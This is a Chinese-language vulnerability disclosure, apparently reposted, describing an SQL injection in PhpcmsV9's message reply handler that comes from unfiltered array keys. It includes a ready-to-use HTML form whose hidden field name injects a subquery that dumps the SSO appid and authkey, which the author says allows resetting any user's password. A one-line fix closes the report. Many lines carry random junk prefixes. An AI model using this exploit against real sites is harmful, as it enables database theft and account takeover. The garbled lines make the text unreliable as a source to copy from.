PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：

+ J& @% x7 ]! e3 {第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。

4 M+ V4 o( P* }3 O- Q( I明天再更新下一个漏洞。
详细说明：
/ Y" r* g( [) Q$ J4 A2 ]0 }在/phpcms9/phpcms/modules/message/index.php中有代码如下：
3 A( m3 z0 J. T. }+ i7 v
$messageid = $this->message_db->insert($_POST['info'],true);
) i" m7 ]& G, T

insert方法是key value的，代码如下：
; S! R8 @: p/ K$ o; i, w
public function insert($data, $table, $return_insert_id = false, $replace = false) {
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
7 @$ c: f. {5 W' i4 v                        return false;
                }
7 J: Y3 |+ U" V  [) {3 C" P  C               
                $fielddata = array_keys($data);
' ~3 a3 o& o3 ^. A, ^, {5 I                $valuedata = array_values($data);
5 H# L# ^$ X: V                array_walk($fielddata, array($this, 'add_special_char'));
+ z5 x# n4 Q9 n: _, S: y, K/ r                array_walk($valuedata, array($this, 'escape_string'));
" ]: V. V# b8 S- m5 O1 z3 K. T- i+ E               
                $field = implode (',', $fielddata);
                $value = implode (',', $valuedata);
) I! e, [6 B9 ~% d. S
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
" L" F  {& Q( R: E                $return = $this->execute($sql);
                return $return_insert_id ? $this->insert_id() : $return;
( k2 G; w: z  M! _        }

, r7 f4 I/ Y* Y" T! w
- u* S: t+ M# M& y, d2 d嗯，很遗憾的是
" V3 Q: P& ?4 ?
array_walk($fielddata, array($this, 'add_special_char'));


, b, P( W9 w3 c; Z中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。
' N! f, y2 \% w+ d0 v. g! [
到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。
! R, }2 C) R0 b. {+ q
漏洞证明：
! K( ]4 ]: T6 N& `! T读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
+ P9 o# j+ ^: ]. w! |) [0 ]5 J: ~3 F

7 R/ Y1 _9 Q, o( @表单如下：用户名什么的得自己改一改。
0 k- M6 e! d2 A+ C<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
. |) T5 e* ]2 x2 W( k) r<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 D! H0 \+ I4 p8 \) b+ `</tr>
( f) W& j3 D- H+ M<tr>
" K, x/ k6 E, d2 W. E2 m4 B<th>内 容：</th>
6 {7 {% s8 s8 G; }' h1 n<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
</tr>
<input type="hidden" name="info[replyid]" value="2" />
" @8 B1 S( l/ A' ]<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
<th>验证码：</th>
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
<tr>
: n3 [8 g, U, {6 R( g<td></td>
5 q$ ^1 H8 ^* F/ ~$ W) d<td colspan="2"><label>
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
</label></td>
</tr>
</table>
</form>
在add_special_char函数内对key做过滤就可以了。
8 ~7 ~& a( w# L3 R
: ~$ ?6 i& v" p: ^) ]: r
( k5 i9 i+ L$ }" J3 M
0 A; U% \( F5 A% m( \3 P